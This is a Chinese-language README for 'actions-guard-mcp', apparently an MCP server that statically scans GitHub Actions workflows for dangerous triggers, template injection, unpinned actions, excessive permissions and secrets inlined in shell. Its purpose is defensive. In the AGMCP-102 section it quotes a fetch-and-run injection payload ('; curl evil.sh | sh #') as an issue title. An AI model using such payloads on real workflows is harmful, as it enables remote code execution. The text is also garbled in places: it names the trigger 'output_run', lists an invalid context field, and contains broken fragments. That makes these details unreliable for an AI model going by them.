actions-guard-mcp

一个以 MCP 工具形式暴露的 GitHub Actions 工作流安全扫描器，目的是让智能体（agent）能在工作流文件被提交之前（而不是提交之后）就发现「pwn request」以及曾造成真实事故（CoreShop、tj-actions 等）的供应链攻击模式。

为什么会有它

对 GitHub Actions 工作流的静态分析是一个成熟、广为人知的领域——zizmor 正是一个可靠、积极维护的独立扫描器。然而，真正还没有存在的，是一个围绕这类分析认真构建的 MCP 封装。在一次广泛的搜索中，只找到一个项目——github-security-mcp，它把 45 项检查分散在组织设置、秘密管理、供应链以及 Actions 工作流这一门工具里：只有 12 个 star，5 个月没有任何提交。没有任何一个项目把焦点专门、更深入放在工作流安全上，并作为一个智能体在编写或审查工作流文件时可以调用的东西。

Related MCP server: vibecheck

它能发出什么

• 危险触发器（AGMCP-101） —— pull_request_target 或 output_run 与一个 checkout 步骤配合使用，且该步骤的 ref: 或 repository: 指向了触发此次 PR/运行的 fork 本身。这正是 CoreShop 发生事故的攻击形式：一个工作流使用基础仓库的 token 和 secrets，却从触发它的 fork 检出并执行了代码。

• 模板注入（AGMCP-102） —— 由攻击者控制的上下文字段（github.event.issue.title**、github.event.pull_request.title、github.pull_request.title、github.event.comment.body、github.head_ref、toJSON(github.event)整体道 dump 等）所构造的${{ }}表达式被直接嵌入run:步骤，而不是通过env:传入。最经典的形态是run: echo "${{ github.event.issue.title }}"——此时，一个内容为 "; curl evil.sh | sh #` 的 issue 标题就不再是字符串，而是 shell 命令。

• 未固定 pins 的 Actions 与可复用工作流（AGMCP-103） —— 将 uses: owner/repo@v4（标签或分支，二者都可被改）而不是 commit SHA 固定；或在作业级别上以调用的可复用工作流（jobs.<id>.uses: owner/repo/工作tim/流。同一种可变方式；或 docker://image:tag引用没有固定到@sha256:` 摘要。这正是 tj-actions 事件所利用的供应链攻击点：一个被投毒的标签，让所有使用它的人指向恶意代码，却没有引入版本变更。

• 过度权限（AGMCP-104） —— permissions: write-all，或显式地给出大范围 write 权限（contents、actions、packages 等），设在工作流级别或作业级别上，且该工作流同时还有风险触发条件，而更窄的范围本可解决问题。

• 将密钥直接嵌入 shell（AGMCP-105） —— ${{ secrets.X }} 被直接用在 run: 步骤中，而非通过 env: 传入，这就没必要地暴露了原始密钥值到命令行 / 进程列表中，而不是作为环境变量的范围内的部分。

所有 mut-划段（AGMCP-101/102/103）都会把 GitHub Actions 的方括号属性访问（github.event['issue']['title']）规范为等价的点号形式，并以忽略大小写的方式匹配，因为它的表达式语言把两者视为完全相同。

已知限制

这是对 ${{ }} 表达式以及 with:/permissions: 块文字做模式匹配——不是 github.com 的完整 Actions 表达式解析器，也不是数据流分析。一次“审过”其实只表示“对当前这段写法没有发现已知的危险”，并不是说该工作流是安全紧盯解。具体表现：

• **无法跨步骤 / env: 追温 – 一个危险的值如果先经过中间 env: 或一个 step 输出，之后再写进了 checkout 的 ref: 或 run: 命令，AGMCP-101/102/104 是无法发现它的——它只检查被检查字段上写出来的字面表达式。

• **可被攻击者控制的上下文字段标（AGMCP-102）有限、手工维护，**不是 GitHub Actions 提供所有上下文字段的完全列举。列表里可能尚未包含有某个新出现或不常见的字段所需传出的。

如果“没发现啥”对你决定安全性非常关键，不要把它当结论 —— zizmor 对其他相似格式的文件进行的是更深入、更全面且更普遍的分析，值得让它与本工具一起运行，而不是替代它。

设置

pip install actions-guard-mcp
actions-guard-mcp

不需要任何配置——每个工具都会直接用工作流文件完整路径，或者它的原始 YAML 内容。

状态

早期构建。

许可证

MIT